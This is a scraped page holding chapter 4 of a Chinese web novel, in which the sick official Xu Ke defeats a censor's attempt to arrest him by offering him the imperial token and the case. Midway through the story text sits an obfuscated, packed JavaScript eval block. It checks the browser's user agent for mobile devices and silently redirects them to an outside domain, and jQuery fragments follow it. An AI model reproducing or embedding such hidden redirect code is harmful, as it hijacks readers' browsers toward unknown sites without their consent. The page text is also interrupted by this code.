默认冷灰
24号文字
方正启体

第4章 病榻上的陷阱

作者:黑胡椒报本书字数:K更新时间:
    “大人!”


    一道残影闪过,北镇抚司千户赵恪瞳孔骤缩,下意识地一个箭步冲上前,在徐恪的脸与地面亲密接触前,一把将他捞了起来。


    入手滚烫的温度让赵恪心中一凛。


    这个刚刚还用神鬼莫测的手段镇住全场、谈笑间便将一桩死案盘活的少年,原来只是一具随时可能碎裂的琉璃。


    “快!传大夫!”赵恪抱着怀中轻飘飘的身体,对着周围目瞪口呆的缇骑们发出一声怒吼。


    悬镜司内,乱成了一团。


    徐恪被紧急安置到了内院一间还算干净的厢房。


    大夫来了又走,留下一堆苦涩的汤药和一句“忧思过甚,寒气攻心,性命暂且无虞,但高烧难退,切不可再劳心费神”的嘱咐。


    赵恪站在床边,看着躺在榻上双目紧闭、眉头紧锁的徐恪,眼神复杂到了极点。


    他一方面为那神乎其技的查案手段所震撼,另一方面又为徐恪这破败的身体感到忧虑。


    三天之期,如今连主心骨都倒了,这案子还怎么查下去?


    最关键的是,他已经被徐恪用“一成赏钱”的阳谋,死死地绑在了这条船上。


    船要是沉了,他赵恪也得跟着喝水。


    就在赵恪心烦意乱之际,一名缇骑神色慌张地从外面冲了进来。


    “千户大人!不好了!都察院的人……闯进来了!”


    赵恪脸色一变:“都察院?他们来干什么!”


    “是左都御史李世蕃!他……他带着人,指名道姓要我们交出徐大人,说、说是悬镜司以罪臣掌印,秽乱国法!”


    “放**屁!”赵恪勃然大怒,腰间的绣春刀“呛啷”一声出鞘半寸,“兄弟们,跟我出去!我倒要看看,谁敢在悬镜司的地盘上撒野!”


    然而,当赵恪带着一众杀气腾腾的缇骑冲到指挥大厅时,那股滔天的气焰却不由自主地弱了下去。


    大厅中央,站着一位须发皆白、身着绯色官袍的老者。


    他手持**笏板,面沉如水,眼神清正,不怒自威。


    正是当朝左都御史,被誉为“文官风骨”、“朝堂啄木鸟”的李世蕃。


    他身后跟着几名年轻御史,个个昂首挺胸,一脸正气。


    “赵恪,你好大的胆子!”李世蕃看到缇骑们拔刀,不退反进,厉声喝道,“悬镜司乃天子亲军,监察百官,何时成了藏污纳垢、包庇罪囚的匪窝了?”


    赵恪握着刀柄的手青筋暴起,却迟迟不敢下令。


    打,他不敢。


    李世蕃代表的不是个人,是都察院,是朝廷的法理,是文官集团恪守了数百年的“祖宗之法”。


    他今天敢动李世蕃一根汗**,明天全天下的读书人就能用唾沫星子把他淹死,无数的**奏章能把女帝的龙案都给埋了。


    这是悬镜司最薄弱的一环,他们是皇帝的刀,却不是朝廷的法。


    “李御史,徐大人乃是奉陛下口谕查案,何来罪囚一说?”赵恪咬着牙,沉声辩解。


    “荒唐!”李世蕃用笏板重重一顿地,声震屋瓦,“徐恪乃安国公府余孽,罪证确凿,圣旨已下,明日便要明正典刑!陛下或有爱才之心,一时被奸佞蒙蔽,我等身为言官,岂能坐视国**为儿戏?立刻交出罪囚徐恪,停止对周侍郎的无端构陷,否则,老夫今日便一头撞死在这悬镜司的门前,也要维护大周的体统!”


    一番话说得是掷地有声,大义凛然。


    赵恪被逼得节节败退,额角渗出了冷汗。


    他知道,这老头子是真的干得出来。


    这根本不是来问罪的,这是文官集团对女帝的一次正面**冲锋!


    进退两难之际,赵恪一咬牙,转身对手下低声道:“守住这里,任何人不得妄动!”


    说完,他快步冲向内院。


    “吱呀”一声,厢房的门被猛地推开。


    “大人!您醒了!”赵恪看到床上的人影动了一下,又惊又喜。


    徐恪刚刚转醒,头痛欲裂,浑身发烫,连坐起来的力气都没有。他看着焦急的赵恪,声音微弱得像蚊子哼:“外面……怎么了?”


    赵恪用最快的速度将外面的情况说了一遍。


    所有缇骑都觉得这次死定了,女帝也保不住他们。


    徐恪听完,却没有丝毫慌乱,反而低声咳嗽起来。


    咳得撕心裂肺,仿佛要把肺都咳出来。


    在赵恪焦灼的目光中,他终于缓过气来,用只有两人能听见的声音,下达了三条匪夷所思的命令。


    “第一,去,请李御史到正厅稍坐,上最好的茶。告诉他,我重病在身,正在更衣,马上就到。”


    赵恪一愣:“大人,这是示弱……”


    “第二,”徐恪打断他,“把我那块陛下给的令牌,用一个最显眼的托盘盛着,放到我床头的桌案上。”


    “第三,”徐恪的眼中闪过一丝狡黠的微光,“待会儿无论我说什么,你都不要出声。但记住,你要表现得比我还愤怒,越愤怒越好。”


    李世蕃在正厅等得心头火起,一杯茶都见了底,也没见到那个“罪囚”的影子。


    “竖子无礼!”他重重放下茶杯,再也按捺不住,带着人便直闯内院。


    他已经想好了,见到那个黄口小儿,便要先声夺人,以雷霆之势将其拿下,彻底打掉悬镜司的嚣张气焰。


    然而,当他怒气冲冲地推开病房门时,却愣住了。


    预想中权臣作威作福的场面根本没有。


    只见一个面色惨白如纸的少年,正裹着厚厚的被子,虚弱地靠在床头,剧烈地咳嗽着,仿佛随时都会断气。


    整个房间里,最醒目的,反而是床头桌案上那个紫檀木托盘,以及盘中那块象征着女帝亲临的玄铁令牌。


    没等李世蕃发难,徐恪已经抢先开了口,声音虚弱,却字字清晰。


    “下官……咳咳……不知李御史大驾光临,有失远迎。您是来……协助下官,为陛下分忧的吗?”


    一句话,直接给李世蕃整不会了。


    他满肚子“国法”、“体统”的宏大叙事,被对方轻飘飘一句“协助办案”给堵了回去。


    这一下,仿佛抡圆了拳头,却打在了一团棉花上,有力无处使。


    他把冲突的性质,从“私人问罪”,强行拉高到了“为陛下办事”的公共层面。


    “一派胡言!”李世蕃脸色一沉,正要发作。


    徐恪却像是没看见他的怒火,挣扎着抬起手,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520933|186284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指向床头的令牌,脸上挤出一个比哭还难看的“真诚”笑容。


    “李御史,您来得正好!此案千头万绪,下官又……咳……又身染重病,实在是有心无力,恐有负陛下三天之期啊!”


    他喘了口气,用一种托付后事的语气说道:“既然您来了,想必也是心忧国事。这勘察百官之权,就请您代为执掌!这令牌在此,您拿去!周文渊的案子,就全权拜托您了!”


    说着,他竟真的做出了一个“请”的手势,仿佛在托付什么无上荣耀。


    李世蕃瞬间僵在了原地,如遭雷击。


    他身后的几个年轻御史,也全都傻了眼。


    接?


    接了这块令牌,就等于接下了女帝那道“三天之内,要看到人头”的死命令!


    他李世蕃是言官,不是酷吏,查案?


    他拿什么查?


    办成了,他落下一个“谄媚君上,构陷同僚”的骂名,一辈子清誉毁于一旦。


    办砸了,那更是欺君之罪,女帝正好借此机会,把他这个眼中钉连根拔起!


    不接?


    徐恪见他不动,立刻露出一副痛心疾首的表情,猛地转向身旁的赵恪,声音陡然拔高了几分。


    “赵千户!你听见了吗?”


    赵恪心领神会,瞬间戏精附体,一张脸涨得通红,手死死按住刀柄,咬牙切齿地瞪着李世蕃,愤怒的表情仿佛在说“**居然敢不接”。


    徐恪继续唱着双簧,捶着床榻,悲愤道:“我本想请李御史为国分忧,他……他竟不愿为陛下分担!唉!看来,这为陛下尽忠,抛头颅洒热血的脏活累活,只能我们悬镜司自己拼命了!”


    这套组合拳下来,李世蕃的脸已经从铁青变成了煞白。


    他被死死地架在了火上。


    接,是万丈深渊。


    不接,就是“不忠”,就是当着悬镜司所有人的面,承认自己不敢为女帝分忧。


    这个口实要是落下了,明天徐恪就能反参他一本!


    他一个清流言官,一生最看重的就是“忠君”二字,这简直比杀了他还难受!


    他看着病榻上那个气息奄奄、仿佛下一秒就要咽气的少年,后背却窜起一股彻骨的寒意。


    这哪里是个少年,这分明是个披着人皮的怪物!


    不跟你讲道理,不跟你辩法理,他直接挖了一个人性和忠诚的陷阱,笑眯眯地看着你往下跳。


    “你……你……”李世蕃指着徐恪,气得浑身发抖,最终却只能从牙缝里挤出四个字。


    “竖子!奸猾!”


    说罢,他猛地一甩袖子,转身便走,步履竟有几分踉跄,仿佛打了场败仗。


    一场足以颠覆整个任务的风波,就这么被徐恪在病榻上,用几句话消弭于无形。


    做完这一切,徐恪再也支撑不住,眼前一黑,整个人向后倒去,冷汗瞬间浸透了被褥。


    病情,雪上加霜。


    赵恪连忙上前扶住他,看向他的眼神,已经从最初的敬畏,变成了一种近乎恐惧的崇拜。


    就在此时,一名缇骑信使跌跌撞撞地冲进院子,脸上混杂着尘土与焦急,他单膝跪地,声音嘶哑地喊道:


    “大人!江南急报!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)